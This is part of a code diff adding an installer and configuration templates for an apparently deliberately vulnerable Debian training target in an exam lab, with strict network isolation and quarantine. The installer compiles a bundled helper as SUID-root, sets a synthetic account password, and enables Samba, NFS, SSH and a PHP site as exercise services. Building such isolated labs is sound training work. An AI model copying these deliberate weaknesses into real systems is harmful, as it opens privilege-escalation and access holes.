+SESSION_ID = Path("/run/examserver-open-world/session-id")
+LAB_UNITS = [
+    "NetworkManager.service",
+    "apache2.service",
+    "dnsmasq.service",
+    "nfs-server.service",
+    "nmbd.service",
+    "open-world-exercise.target",
+    "open-world-file-watch.service",
+    "open-world-nfs-watch.service",
+    "open-world-root-timer.service",
+    "open-world-root-timer.timer",
+    "open-world-telemetry.service",
+    "open-world-telemetry.socket",
+    "open-world-vulnerable.target",
+    "open-world-vulnerable-failure.service",
+    "rpcbind.service",
+    "rpcbind.socket",
+    "rpc-statd.service",
+    "rpc-statd-notify.service",
+    "smbd.service",
+    "ssh.service",
+    "systemd-resolved.service",
+    "wpa_supplicant.service",
+    WINDOWS_MOUNT_UNIT,
+]
+
+
+@dataclass(frozen=True)
+class TargetInstallRequest:
+    disk_by_id: str
+    debian_partuuid: str
+    esp_partuuid: str
+    windows_partuuid: str
+    bundle_manifest_sha256: str
+    confirmation: str
+
+
+def _validate_live_root(
+    profile: dict[str, Any], inventory: dict[str, Any]
+) -> None:
+    if inventory.get("bootEnvironment") != "installed-debian-maintenance":
+        raise ContractError(
+            "target install requires installed Debian maintenance mode"
+        )
+    partition = inventory.get("partitions", {}).get("debian")
+    root = inventory.get("rootFilesystem")
+    if not isinstance(partition, dict) or not isinstance(root, dict):
+        raise ContractError("live root/partition evidence is missing")
+    if (
+        root.get("sourceDevice") != partition.get("device")
+        or root.get("target") != "/"
+        or "/" not in (partition.get("mountpoints") or [])
+    ):
+        raise ContractError("live / is not the profile Debian PARTUUID partition")
+
+
+def validate_target_install_request(
+    manifest: dict[str, Any],
+    profile: dict[str, Any],
+    inventory: dict[str, Any],
+    bundle: Path,
+    request: TargetInstallRequest,
+) -> dict[str, Any]:
+    validate_profile(profile)
+    validate_platform_identity(manifest, inventory)
+    validate_required_packages(manifest, inventory)
+    _validate_live_root(profile, inventory)
+    identity_errors = validate_exact_identity(profile, inventory)
+    if identity_errors:
+        raise ContractError("; ".join(identity_errors))
+    expected = profile["target"]
+    supplied = {
+        "diskById": request.disk_by_id,
+        "debianPartuuid": request.debian_partuuid,
+        "espPartuuid": request.esp_partuuid,
+        "windowsPartuuid": request.windows_partuuid,
+    }
+    for key, value in supplied.items():
+        if value != expected[key]:
+            raise ContractError(f"supplied {key} does not exactly match profile")
+    phrase = f"INSTALL TARGET BUNDLE {expected['diskById']}"
+    if request.confirmation != phrase:
+        raise ContractError(f"confirmation must exactly equal: {phrase}")
+    validation = validate_target_bundle(bundle)
+    if (
+        request.bundle_manifest_sha256.lower()
+        != validation["bundleManifestSha256"]
+    ):
+        raise ContractError("supplied target-bundle manifest hash does not match")
+    manifest = validation["manifest"]
+    if any(entry.get("role") == "windows-offline" and entry.get("target", "").startswith("/")
+           for entry in manifest["files"]):
+        raise ContractError("Windows offline fixture must not have a Debian target")
+    return validation
+
+
+def target_install_plan(
+    profile: dict[str, Any],
+    request: TargetInstallRequest,
+    validation: dict[str, Any],
+) -> dict[str, Any]:
+    manifest = validation["manifest"]
+    activation = manifest["activation"]
+    return {
+        "applied": False,
+        "operation": "install-open-world-target",
+        "diskById": profile["target"]["diskById"],
+        "debianPartuuid": request.debian_partuuid,
+        "bundleManifestSha256": validation["bundleManifestSha256"],
+        "copyPolicy": {
+            "includedRole": "debian",
+            "excludedRoles": ["windows-offline", "installer-private"],
+        },
+        "flagOwnership": manifest["flagFiles"],
+        "actions": [
+            {
+                "action": "quarantine-and-disable",
+                "units": LAB_UNITS,
+                "includesTelemetrySocket": True,
+            },
+            {
+                "action": "create-fixed-synthetic-identities",
+                "accounts": [
+                    {
+                        "name": account["name"],
+                        "uid": account["uid"],
+                        "gid": account["gid"],
+                    }
+                    for account in manifest["accounts"]
+                ],
+                "groups": manifest["groups"],
+                "credentialTransport": "chpasswd-stdin-only",
+            },
+            {
+                "action": "copy-verified-debian-files-only",
+                "fileCount": sum(
+                    entry["role"] == "debian"
+                    for entry in manifest["files"]
+                ),
+            },
+            {
+                "action": "compile-and-install-suid-helper",
+                "source": activation["suidSource"],
+                "target": activation["suidTarget"],
+                "owner": "root:root",
+                "mode": "4755",
+            },
+            {
+                "action": "generate-event-keys-on-target",
+                "keys": activation["eventKeys"],
+                "storedInBundle": False,
+                "exposedInPlanOrLog": False,
+            },
+            {
+                "action": "install-fixed-path-inotify-detector",
+                "service": activation["fixedFileWatchService"],
+                "executable": activation["fixedFileWatchExecutable"],
+                "fixedPathCount": activation["fixedFileWatchCount"],
+                "rawAuditRecordsPersisted": False,
+            },
+            {
+                "action": "append-config-exactly-once",
+                "samba": activation["sambaInclude"],
+                "pamSource": activation["pamAppendFile"],
+            },
+            {
+                "action": "activate-apache-config",
+                "portsConf": "exactly Listen 10.13.37.10:80",
+                "site": activation["apacheSite"],
+                "disableSite": "000-default",
+                "enableSinglePackagedPhpModule": True,
+            },
+            {
+                "action": "validate-configurations",
+                "commands": [
+                    ["apache2ctl", "configtest"],
+                    ["sshd", "-t"],
+                    ["testparm", "-s"],
+                    ["exportfs", "-ra"],
+                ],
+            },
+            {
+                "action": "mask-rpcbind-for-nfsv4-only",
+                "units": [
+                    "rpcbind.service",
+                    "rpcbind.socket",
+                    "rpc-statd.service",
+                    "rpc-statd-notify.service",
+                ],
+                "mountdPort": 20048,
+                "publicNfsPort": 2049,
+            },
+            {
+                "action": "leave-disabled-and-quarantined",
+                "units": LAB_UNITS,
+                "freshStateMarker": activation["freshStateMarker"],
+            },
+        ],
+        "physicalVerificationRequired": [
+            "reboot enters Debian maintenance quarantine",
+            "exercise preflight passes with direct cable only",
+            "all 13 Debian flags have intended runtime readability",
+            "Windows offline flag is placed manually and Windows boots",
+        ],
+    }
+
+
+def _run(
+    args: list[str],
+    *,
+    runner: Callable[..., subprocess.CompletedProcess[str]],
+    input_text: str | None = None,
+    acceptable_returncodes: set[int] | None = None,
+) -> subprocess.CompletedProcess[str]:
+    completed = runner(
+        args,
+        input=input_text,
+        check=False,
+        capture_output=True,
+        text=True,
+        timeout=60,
+    )
+    allowed = acceptable_returncodes or {0}
+    if completed.returncode not in allowed:
+        message = completed.stderr.strip() or completed.stdout.strip()
+        raise ContractError(
+            f"target install command failed: {args!r}: {message}"
+        )
+    return completed
+
+
+def _disable_lab_units(
+    *,
+    include_bundle_units: bool,
+    runner: Callable[..., subprocess.CompletedProcess[str]],
+) -> None:
+    regular_units = [
+        unit
+        for unit in LAB_UNITS
+        if unit != "open-world-root-timer.service"
+        and (include_bundle_units or unit not in BUNDLE_ONLY_UNITS)
+    ]
+    _run(
+        ["systemctl", "disable", "--now", *regular_units],
+        runner=runner,
+    )
+    if include_bundle_units:
+        _run(
+            ["systemctl", "stop", "open-world-root-timer.service"],
+            runner=runner,
+        )
+
+
+def _split_fresh_marker_entry(
+    entries: list[dict[str, Any]], fresh_target: str
+) -> tuple[list[dict[str, Any]], dict[str, Any]]:
+    markers = [entry for entry in entries if entry.get("target") == fresh_target]
+    if len(markers) != 1:
+        raise ContractError(
+            "target bundle must contain exactly one trusted fresh-state marker"
+        )
+    return (
+        [entry for entry in entries if entry.get("target") != fresh_target],
+        markers[0],
+    )
+
+
+def _ensure_group(
+    name: str,
+    gid: int,
+    *,
+    runner: Callable[..., subprocess.CompletedProcess[str]],
+) -> None:
+    by_name = _run(
+        ["getent", "group", name],
+        runner=runner,
+        acceptable_returncodes={0, 2},
+    )
+    if by_name.returncode == 0:
+        fields = by_name.stdout.strip().split(":")
+        if len(fields) < 3 or fields[2] != str(gid):
+            raise ContractError(f"group {name} exists with a different GID")
+        return
+    by_gid = _run(
+        ["getent", "group", str(gid)],
+        runner=runner,
+        acceptable_returncodes={0, 2},
+    )
+    if by_gid.returncode == 0:
+        raise ContractError(f"GID {gid} is already assigned to another group")
+    _run(["groupadd", "--gid", str(gid), name], runner=runner)
+
+
+def _ensure_account(
+    account: dict[str, Any],
+    *,
+    runner: Callable[..., subprocess.CompletedProcess[str]],
+) -> None:
+    name = account["name"]
+    uid = account["uid"]
+    gid = account["gid"]
+    observed = _run(
+        ["getent", "passwd", name],
+        runner=runner,
+        acceptable_returncodes={0, 2},
+    )
+    if observed.returncode == 0:
+        fields = observed.stdout.strip().split(":")
+        if len(fields) < 7 or fields[2:4] != [str(uid), str(gid)]:
+            raise ContractError(f"account {name} exists with different UID/GID")
+        return
+    uid_owner = _run(
+        ["getent", "passwd", str(uid)],
+        runner=runner,
+        acceptable_returncodes={0, 2},
+    )
+    if uid_owner.returncode == 0:
+        raise ContractError(f"UID {uid} is already assigned to another account")
+    interactive = account.get("interactive") is True
+    command = [
+        "useradd",
+        "--uid",
+        str(uid),
+        "--gid",
+        account["primaryGroup"],
+        "--shell",
+        "/bin/bash" if interactive else "/usr/sbin/nologin",
+        "--comment",
+        "TRAINING ONLY synthetic account",
+    ]
+    command.append("--create-home" if interactive else "--no-create-home")
+    command.append(name)
+    _run(command, runner=runner)
+
+
+def _safe_target(root: Path, absolute: str) -> Path:
+    value = PurePosixPath(absolute)
+    if not value.is_absolute() or ".." in value.parts:
+        raise ContractError(f"unsafe target path: {absolute}")
+    return root.joinpath(*value.parts[1:])
+
+
+def _ensure_real_directory(path: Path, mode: int) -> None:
+    if not path.is_absolute():
+        raise ContractError(f"directory path must be absolute: {path}")
+    cursor = Path(path.anchor)
+    for part in path.parts[1:]:
+        cursor = cursor / part
+        try:
+            metadata = cursor.lstat()
+        except FileNotFoundError:
+            cursor.mkdir(mode=mode)
+            metadata = cursor.lstat()
+        if cursor.is_symlink() or not stat.S_ISDIR(metadata.st_mode):
+            raise ContractError(
+                f"directory path has an unsafe component: {cursor}"
+            )
+
+
+def _owner_ids(owner: str, group: str) -> tuple[int, int]:
+    try:
+        import grp
+        import pwd
+
+        return pwd.getpwnam(owner).pw_uid, grp.getgrnam(group).gr_gid
+    except ImportError as exc:
+        raise ContractError("POSIX owner/group lookup is unavailable") from exc
+    except KeyError as exc:
+        raise ContractError(f"manifest owner/group is missing: {exc}") from exc
+
+
+def _apply_owner_mode(
+    path: Path, *, owner: str, group: str, mode: str
+) -> None:
+    uid, gid = _owner_ids(owner, group)
+    os.chown(path, uid, gid)
+    os.chmod(path, int(mode, 8))
+
+
+def _copy_atomic(
+    source: Path,
+    target: Path,
+    *,
+    owner: str,
+    group: str,
+    mode: str,
+) -> None:
+    if source.is_symlink() or not source.is_file():
+        raise ContractError(f"bundle source is missing or unsafe: {source}")
+    _ensure_real_directory(target.parent, 0o755)
+    if target.exists() and (target.is_symlink() or not target.is_file()):
+        raise ContractError(f"refusing to replace non-regular target: {target}")
+    descriptor, temporary_name = tempfile.mkstemp(
+        prefix=f".{target.name}.", dir=target.parent
+    )
+    temporary = Path(temporary_name)
+    try:
+        with os.fdopen(descriptor, "wb") as destination, source.open("rb") as incoming:
+            shutil.copyfileobj(incoming, destination)
+            destination.flush()
+            os.fsync(destination.fileno())
+        _apply_owner_mode(
+            temporary, owner=owner, group=group, mode=mode
+        )
+        os.replace(temporary, target)
+    finally:
+        temporary.unlink(missing_ok=True)
+
+
+def _write_secret_atomic(
+    target: Path, size: int, *, owner: str, group: str, mode: str
+) -> None:
+    if size < 32:
+        raise ContractError("event key contract requires at least 32 random bytes")
+    if target.exists():
+        raise ContractError(f"refusing to replace an existing event key: {target}")
+    _ensure_real_directory(target.parent, 0o710)
+    descriptor, temporary_name = tempfile.mkstemp(
+        prefix=f".{target.name}.", dir=target.parent
+    )
+    temporary = Path(temporary_name)
+    try:
+        with os.fdopen(descriptor, "wb") as destination:
+            destination.write(_event_key_bytes(size))
+            destination.flush()
+            os.fsync(destination.fileno())
+        _apply_owner_mode(
+            temporary, owner=owner, group=group, mode=mode
+        )
+        os.replace(temporary, target)
+    finally:
+        temporary.unlink(missing_ok=True)
+
+
+def _event_key_bytes(random_bytes: int) -> bytes:
+    if random_bytes < 32:
+        raise ContractError("event key contract requires at least 32 random bytes")
+    return (secrets.token_hex(random_bytes) + "\n").encode("ascii")
+
+
+def _append_exactly_once(path: Path, line: str) -> None:
+    if path.is_symlink() or not path.is_file():
+        raise ContractError(f"append target is missing or unsafe: {path}")
+    text = path.read_text(encoding="utf-8")
+    observed = [item.strip() for item in text.splitlines()].count(line)
+    if observed > 1:
+        raise ContractError(f"configuration line is duplicated in {path}")
+    if observed == 1:
+        return
+    content = text
+    if content and not content.endswith("\n"):
+        content += "\n"
+    content += line + "\n"
+    descriptor, temporary_name = tempfile.mkstemp(
+        prefix=f".{path.name}.", dir=path.parent
+    )
+    temporary = Path(temporary_name)
+    try:
+        with os.fdopen(descriptor, "w", encoding="utf-8") as destination:
+            destination.write(content)
+            destination.flush()
+            os.fsync(destination.fileno())
+        stat = path.stat()
+        os.chown(temporary, stat.st_uid, stat.st_gid)
+        os.chmod(temporary, stat.st_mode & 0o7777)
+        os.replace(temporary, path)
+    finally:
+        temporary.unlink(missing_ok=True)
+
+
+def _configure_apache(
+    *, runner: Callable[..., subprocess.CompletedProcess[str]]
+) -> None:
+    ports = Path("/etc/apache2/ports.conf")
+    backup = Path("/etc/apache2/ports.conf.open-world-prelab")
+    if ports.is_symlink() or not ports.is_file():
+        raise ContractError("Apache ports.conf is missing or unsafe")
+    if not backup.exists():
+        shutil.copy2(ports, backup)
+        os.chown(backup, 0, 0)
+        os.chmod(backup, 0o600)
+    elif backup.is_symlink() or not backup.is_file():
+        raise ContractError("Apache ports.conf backup is unsafe")
+    temporary = ports.parent / ".ports.conf.open-world"
+    if temporary.exists():
+        raise ContractError("stale Apache ports.conf staging file exists")
+    temporary.write_text("Listen 10.13.37.10:80\n", encoding="ascii")
+    os.chown(temporary, 0, 0)
+    os.chmod(temporary, 0o644)
+    os.replace(temporary, ports)
+
+    modules = sorted(Path("/usr/lib/apache2/modules").glob("libphp*.so"))
+    if len(modules) != 1:
+        raise ContractError("exactly one packaged Apache PHP module is required")
+    module = modules[0].stem.removeprefix("lib")
+    _run(["a2dissite", "000-default"], runner=runner)
+    _run(["a2enmod", module], runner=runner)
+    _run(["a2ensite", "open-world-target"], runner=runner)
+    _run(["apache2ctl", "configtest"], runner=runner)
+
+
+def _compile_suid(
+    source: Path,
+    target: Path,
+    *,
+    runner: Callable[..., subprocess.CompletedProcess[str]],
+) -> None:
+    _ensure_real_directory(target.parent, 0o755)
+    staged = target.parent / ".kazekiri-report.open-world"
+    if staged.exists():
+        raise ContractError("stale SUID helper staging file exists")
+    try:
+        _run(
+            [
+                "cc",
+                "-O2",
+                "-Wall",
+                "-Wextra",
+                "-o",
+                str(staged),
+                str(source),
+            ],
+            runner=runner,
+        )
+        os.chown(staged, 0, 0)
+        os.chmod(staged, 0o4755)
+        os.replace(staged, target)
+    finally:
+        staged.unlink(missing_ok=True)
+
+
+def _require_apply_authority() -> None:
+    if os.name != "posix" or os.geteuid() != 0:
+        raise ContractError("target install mutation requires root on Debian")
+
+
+def apply_target_install(
+    bundle: Path,
+    validation: dict[str, Any],
+    *,
+    target_root: Path = Path("/"),
+    runner: Callable[..., subprocess.CompletedProcess[str]] = subprocess.run,
+) -> dict[str, Any]:
+    _require_apply_authority()
+    if target_root != Path("/"):
+        raise ContractError("apply target_root must be exactly /")
+    current = validate_target_bundle(bundle)
+    if current["bundleManifestSha256"] != validation["bundleManifestSha256"]:
+        raise ContractError("target bundle changed after validation")
+    manifest = current["manifest"]
+    activation = manifest["activation"]
+    fresh_marker = Path(activation["freshStateMarker"])
+    for stale in (TELEMETRY_STATE, SESSION_ENV, SESSION_ID, fresh_marker):
+        if stale.exists():
+            raise ContractError(
+                f"stale session state blocks target installation: {stale}"
+            )
+
+    verify_units_absent(BUNDLE_ONLY_UNITS, runner=runner)
+    _run(
+        ["systemctl", "start", "open-world-boot-quarantine.service"],
+        runner=runner,
+    )
+    _disable_lab_units(include_bundle_units=False, runner=runner)
+    disable_raw_audit_units(runner=runner)
+    _run(
+        [
+            "systemctl",
+            "mask",
+            "--now",
+            *[
+                unit
+                for unit in ALWAYS_MASKED_UNITS
+                if unit not in RAW_AUDIT_UNITS
+            ],
+        ],
+        runner=runner,
+    )
+
+    primary_groups = [
+        {
+            "name": account["primaryGroup"],
+            "gid": account["gid"],
+        }
+        for account in manifest["accounts"]
+    ]
+    for group in sorted(
+        primary_groups
+        + [
+            {"name": group["name"], "gid": group["gid"]}
+            for group in manifest["groups"]
+        ],
+        key=lambda item: item["gid"],
+    ):
+        _ensure_group(group["name"], group["gid"], runner=runner)
+    for account in sorted(manifest["accounts"], key=lambda item: item["uid"]):
+        _ensure_account(account, runner=runner)
+    for group in manifest["groups"]:
+        for member in group["members"]:
+            existing = _run(
+                ["getent", "passwd", member],
+                runner=runner,
+                acceptable_returncodes={0, 2},
+            )
+            if existing.returncode != 0:
+                raise ContractError(f"required group member is missing: {member}")
+            _run(
+                ["usermod", "--append", "--groups", group["name"], member],
+                runner=runner,
+            )
+
+    credentials = load_json(
+        bundle / "installer-private/synthetic-credentials.json"
+    )
+    sales = [
+        account
+        for account in credentials.get("accounts", [])
+        if account.get("username") == "sales"
+    ]
+    if (
+        credentials.get("trainingOnly") is not True
+        or len(sales) != 1
+        or not isinstance(sales[0].get("password"), str)
+        or not sales[0]["password"]
+    ):
+        raise ContractError("synthetic sales credential contract is invalid")
+    _run(
+        ["chpasswd"],
+        input_text=f"sales:{sales[0]['password']}\n",
+        runner=runner,
+    )
+
+    debian_entries = [
+        entry for entry in manifest["files"] if entry["role"] == "debian"
+    ]
+    payload_entries, fresh_marker_entry = _split_fresh_marker_entry(
+        debian_entries, activation["freshStateMarker"]
+    )
+    file_targets = {entry["target"] for entry in debian_entries}
+    file_targets.add(activation["suidTarget"])
+    for entry in sorted(
+        manifest["directories"],
+        key=lambda item: (
+            len(PurePosixPath(item["path"]).parts),
+            item["path"],
+        ),
+    ):
+        if entry["path"] in file_targets:
+            continue
+        target = _safe_target(target_root, entry["path"])
+        _ensure_real_directory(target, int(entry["mode"], 8))
+        _apply_owner_mode(
+            target,
+            owner=entry["owner"],
+            group=entry["group"],
+            mode=entry["mode"],
+        )
+    for entry in sorted(payload_entries, key=lambda item: item["target"]):
+        source = bundle / "debian-rootfs" / entry["path"]
+        if hashlib.sha256(source.read_bytes()).hexdigest() != entry["sha256"]:
+            raise ContractError(f"bundle source changed during copy: {entry['path']}")
+        _copy_atomic(
+            source,
+            _safe_target(target_root, entry["target"]),
+            owner=entry["owner"],
+            group=entry["group"],
+            mode=entry["mode"],
+        )
+
+    _compile_suid(
+        Path(activation["suidSource"]),
+        Path(activation["suidTarget"]),
+        runner=runner,
+    )
+    event_directory_spec = activation["eventKeyDirectory"]
+    event_key_directory = Path(event_directory_spec["path"])
+    _ensure_real_directory(
+        event_key_directory, int(event_directory_spec["mode"], 8)
+    )
+    _apply_owner_mode(
+        event_key_directory,
+        owner=event_directory_spec["owner"],
+        group=event_directory_spec["group"],
+        mode=event_directory_spec["mode"],
+    )
+    for spec in activation["eventKeys"].values():
+        _write_secret_atomic(
+            Path(spec["path"]),
+            spec["randomBytes"],
+            owner=spec["owner"],
+            group=spec["group"],
+            mode=spec["mode"],
+        )
+
+    _append_exactly_once(
+        Path("/etc/samba/smb.conf"), activation["sambaInclude"]
+    )
+    pam_line_source = Path(activation["pamAppendFile"])
+    pam_lines = [
+        line.strip()
+        for line in pam_line_source.read_text(encoding="utf-8").splitlines()
+        if line.strip() and not line.lstrip().startswith("#")
+    ]
+    if len(pam_lines) != 1:
+        raise ContractError("PAM appendix must contain exactly one active line")
+    _append_exactly_once(Path("/etc/pam.d/sshd"), pam_lines[0])
+    _configure_apache(runner=runner)
+
+    for command in (
+        ["sshd", "-t"],
+        ["testparm", "-s"],
+        ["exportfs", "-ra"],
+    ):
+        _run(command, runner=runner)
+    _run(["systemctl", "daemon-reload"], runner=runner)
+    _disable_lab_units(include_bundle_units=True, runner=runner)
+    disable_raw_audit_units(runner=runner)
+    _run(
+        [
+            "systemctl",
+            "mask",
+            "--now",
+            *[
+                unit
+                for unit in ALWAYS_MASKED_UNITS
+                if unit not in RAW_AUDIT_UNITS
+            ],
+        ],
+        runner=runner,
+    )
+    _run(
+        [
+            "systemctl",
+            "enable",
+            "open-world-boot-quarantine.service",
+            "open-world-maintenance.target",
+        ],
+        runner=runner,
+    )
+    _run(
+        ["systemctl", "start", "open-world-maintenance.target"],
+        runner=runner,
+    )
+    verify_units_masked_inactive(ALWAYS_MASKED_UNITS, runner=runner)
+    fresh_marker_source = bundle / "debian-rootfs" / fresh_marker_entry["path"]
+    if (
+        hashlib.sha256(fresh_marker_source.read_bytes()).hexdigest()
+        != fresh_marker_entry["sha256"]
+    ):
+        raise ContractError("fresh-state marker changed before final commit")
+    _copy_atomic(
+        fresh_marker_source,
+        fresh_marker,
+        owner=fresh_marker_entry["owner"],
+        group=fresh_marker_entry["group"],
+        mode=fresh_marker_entry["mode"],
+    )
+    _, telemetry_gid = _owner_ids("root", "lab-telemetry")
+    if (
+        not fresh_marker.is_file()
+        or fresh_marker.is_symlink()
+        or (fresh_marker.stat().st_mode & 0o777) != 0o400
+        or fresh_marker.stat().st_uid != 0
+        or fresh_marker.stat().st_gid != telemetry_gid
+    ):
+        raise ContractError("trusted fresh-state marker was not installed safely")
+    return {
+        "applied": True,
+        "operation": "install-open-world-target",
+        "bundleManifestSha256": current["bundleManifestSha256"],
+        "debianFilesInstalled": len(debian_entries),
+        "eventKeysGenerated": len(activation["eventKeys"]),
+        "windowsOfflineCopiedToDebian": False,
+        "servicesEnabled": [
+            "open-world-boot-quarantine.service",
+            "open-world-maintenance.target",
+        ],
+        "physicalVerificationRequired": True,
+    }
diff --git a/labs/open-world-target/platform/profile.example.json b/labs/open-world-target/platform/profile.example.json
new file mode 100644
index 0000000..324bf14
--- /dev/null
+++ b/labs/open-world-target/platform/profile.example.json
@@ -0,0 +1,35 @@
+{
+  "schemaVersion": 1,
+  "target": {
+    "diskById": "/dev/disk/by-id/REPLACE_WITH_STABLE_ID",
+    "diskSerial": "REPLACE_WITH_SERIAL",
+    "diskWwn": "REPLACE_WITH_WWN",
+    "diskSizeBytes": 0,
+    "debianPartuuid": "REPLACE_WITH_DEBIAN_PARTUUID",
+    "espPartuuid": "REPLACE_WITH_ESP_PARTUUID",
+    "windowsPartuuid": "REPLACE_WITH_WINDOWS_PARTUUID"
+  },
+  "network": {
+    "wiredInterface": "REPLACE_WITH_INTERFACE",
+    "wiredMac": "REPLACE_WITH_MAC",
+    "maintenanceConnectivityService": "NetworkManager.service"
+  },
+  "recovery": {
+    "kitId": "REPLACE_WITH_KIT_ID",
+    "mediaUuid": "REPLACE_WITH_RECOVERY_MEDIA_UUID",
+    "goldenBtrfsStream": {
+      "path": "assets/debian-root.btrfs",
+      "sha256": "REPLACE_WITH_SHA256",
+      "filesystemUuid": "REPLACE_WITH_GOLDEN_DEBIAN_BTRFS_UUID"
+    },
+    "debianEfiArchive": {
+      "path": "assets/debian-efi.tar",
+      "sha256": "REPLACE_WITH_SHA256"
+    },
+    "microsoftEfiTreeSha256": "REPLACE_WITH_SHA256",
+    "bareMetalImage": {
+      "path": "assets/full-disk.img",
+      "sha256": "REPLACE_WITH_SHA256"
+    }
+  }
+}
diff --git a/labs/open-world-target/platform/recovery-marker.example.json b/labs/open-world-target/platform/recovery-marker.example.json
new file mode 100644
index 0000000..eecc2e9
--- /dev/null
+++ b/labs/open-world-target/platform/recovery-marker.example.json
@@ -0,0 +1,7 @@
+{
+  "schemaVersion": 1,
+  "trustedPurpose": "examserver-open-world-recovery",
+  "kitId": "REPLACE_WITH_KIT_ID",
+  "mediaUuid": "REPLACE_WITH_RECOVERY_MEDIA_UUID",
+  "goldenDebianFilesystemUuid": "REPLACE_WITH_GOLDEN_DEBIAN_BTRFS_UUID"
+}
diff --git a/labs/open-world-target/platform/templates/etc/NetworkManager/conf.d/90-open-world-maintenance.conf b/labs/open-world-target/platform/templates/etc/NetworkManager/conf.d/90-open-world-maintenance.conf
new file mode 100644
index 0000000..787bdb9
--- /dev/null
+++ b/labs/open-world-target/platform/templates/etc/NetworkManager/conf.d/90-open-world-maintenance.conf
@@ -0,0 +1,8 @@
+[main]
+dns=systemd-resolved
+
+[device]
+wifi.scan-rand-mac-address=yes
+
+[keyfile]
+unmanaged-devices=interface-name:{{WIRED_INTERFACE}}
diff --git a/labs/open-world-target/platform/templates/etc/default/grub.d/90-open-world-root.cfg b/labs/open-world-target/platform/templates/etc/default/grub.d/90-open-world-root.cfg
new file mode 100644
index 0000000..ab59ca4
--- /dev/null
+++ b/labs/open-world-target/platform/templates/etc/default/grub.d/90-open-world-root.cfg
@@ -0,0 +1,4 @@
+# Keep normal recovery bootable after mkfs.btrfs changes the filesystem UUID.
+# The recovery contract verifies that generated grub.cfg uses PARTUUID or LABEL.
+GRUB_DISABLE_LINUX_UUID=true
+GRUB_DISABLE_LINUX_PARTUUID=false
diff --git a/labs/open-world-target/platform/templates/etc/dnsmasq.d/open-world-lab.conf b/labs/open-world-target/platform/templates/etc/dnsmasq.d/open-world-lab.conf
new file mode 100644
index 0000000..9809c94
--- /dev/null
+++ b/labs/open-world-target/platform/templates/etc/dnsmasq.d/open-world-lab.conf
@@ -0,0 +1,11 @@
+# Direct-link DHCP only. DNS is disabled and no resolver is advertised.
+interface={{WIRED_INTERFACE}}
+except-interface=lo
+bind-interfaces
+port=0
+dhcp-authoritative
+dhcp-range=10.13.37.100,10.13.37.199,255.255.255.0,1h
+dhcp-option=3
+dhcp-option=6
+dhcp-leasefile=/run/open-world-dnsmasq/dnsmasq.leases
+log-dhcp
diff --git a/labs/open-world-target/platform/templates/etc/nftables.d/open-world-exercise.nft b/labs/open-world-target/platform/templates/etc/nftables.d/open-world-exercise.nft
new file mode 100644
index 0000000..e1e837e
--- /dev/null
+++ b/labs/open-world-target/platform/templates/etc/nftables.d/open-world-exercise.nft
@@ -0,0 +1,25 @@
+flush ruleset
+
+table inet open_world_lab {
+  chain input {
+    type filter hook input priority filter; policy drop;
+    iifname "lo" accept
+    ct state established,related accept
+    iifname "{{WIRED_INTERFACE}}" ip saddr 10.13.37.0/24 icmp type echo-request accept
+    iifname "{{WIRED_INTERFACE}}" ip saddr 10.13.37.0/24 tcp dport 20048 drop
+    iifname "{{WIRED_INTERFACE}}" ip saddr 10.13.37.0/24 tcp dport { 22, 80, 445, 2049, 8787 } accept
+    iifname "{{WIRED_INTERFACE}}" ip saddr 0.0.0.0/0 udp sport 68 udp dport 67 accept
+  }
+
+  chain forward {
+    type filter hook forward priority filter; policy drop;
+  }
+
+  chain output {
+    type filter hook output priority filter; policy drop;
+    oifname "lo" accept
+    ct state established,related accept
+    oifname "{{WIRED_INTERFACE}}" ip daddr 10.13.37.0/24 accept
+    oifname "{{WIRED_INTERFACE}}" ip daddr 255.255.255.255 udp sport 67 udp dport 68 accept
+  }
+}
diff --git a/labs/open-world-target/platform/templates/etc/nftables.d/open-world-quarantine.nft b/labs/open-world-target/platform/templates/etc/nftables.d/open-world-quarantine.nft
new file mode 100644
index 0000000..b82749c
--- /dev/null
+++ b/labs/open-world-target/platform/templates/etc/nftables.d/open-world-quarantine.nft
@@ -0,0 +1,19 @@
+flush ruleset
+
+table inet open_world_quarantine {
+  chain input {
+    type filter hook input priority filter; policy drop;
+    iifname "lo" accept
+    ct state established,related accept
+  }
+
+  chain forward {
+    type filter hook forward priority filter; policy drop;
+  }
+
+  chain output {
+    type filter hook output priority filter; policy drop;
+    oifname "lo" accept
+    ct state established,related accept
+  }
+}
diff --git a/labs/open-world-target/platform/templates/etc/sysctl.d/90-open-world-exercise.conf b/labs/open-world-target/platform/templates/etc/sysctl.d/90-open-world-exercise.conf
new file mode 100644
index 0000000..0590db2
--- /dev/null
+++ b/labs/open-world-target/platform/templates/etc/sysctl.d/90-open-world-exercise.conf
@@ -0,0 +1,4 @@
+net.ipv4.ip_forward = 0
+net.ipv4.conf.all.forwarding = 0
+net.ipv6.conf.all.disable_ipv6 = 1
+net.ipv6.conf.default.disable_ipv6 = 1
diff --git a/labs/open-world-target/platform/templates/etc/systemd/system-preset/00-open-world-lab.preset b/labs/open-world-target/platform/templates/etc/systemd/system-preset/00-open-world-lab.preset
new file mode 100644
index 0000000..a2ed8b4
--- /dev/null
+++ b/labs/open-world-target/platform/templates/etc/systemd/system-preset/00-open-world-lab.preset
@@ -0,0 +1,27 @@
+enable open-world-boot-quarantine.service
+enable open-world-maintenance.target
+disable open-world-exercise.target
+disable open-world-vulnerable.target
+disable open-world-vulnerable-failure.service
+disable apache2.service
+disable auditd.service
+disable dnsmasq.service
+disable nfs-server.service
+disable mnt-windows.mount
+disable open-world-nfs-watch.service
+disable open-world-file-watch.service
+disable open-world-root-timer.timer
+disable open-world-telemetry.service
+disable open-world-telemetry.socket
+disable rpcbind.service
+disable rpcbind.socket
+disable rpc-statd.service
+disable rpc-statd-notify.service
+disable nmbd.service
+disable smbd.service
+disable ssh.service
+disable NetworkManager.service
+disable systemd-resolved.service
+disable systemd-networkd.service
+disable systemd-journald-audit.socket
+disable wpa_supplicant.service
diff --git a/labs/open-world-target/platform/templates/etc/systemd/system/dnsmasq.service.d/90-open-world-target.conf b/labs/open-world-target/platform/templates/etc/systemd/system/dnsmasq.service.d/90-open-world-target.conf
new file mode 100644
index 0000000..de696c3
--- /dev/null
+++ b/labs/open-world-target/platform/templates/etc/systemd/system/dnsmasq.service.d/90-open-world-target.conf
@@ -0,0 +1,12 @@
+[Unit]
+PartOf=open-world-vulnerable.target
+
+[Service]
+ExecStartPre=
+ExecStartPre=/usr/sbin/dnsmasq --test --conf-file=/etc/dnsmasq.d/open-world-lab.conf
+ExecStart=
+ExecStart=/usr/sbin/dnsmasq --user=dnsmasq --conf-file=/etc/dnsmasq.d/open-world-lab.conf --pid-file=/run/dnsmasq/dnsmasq.pid
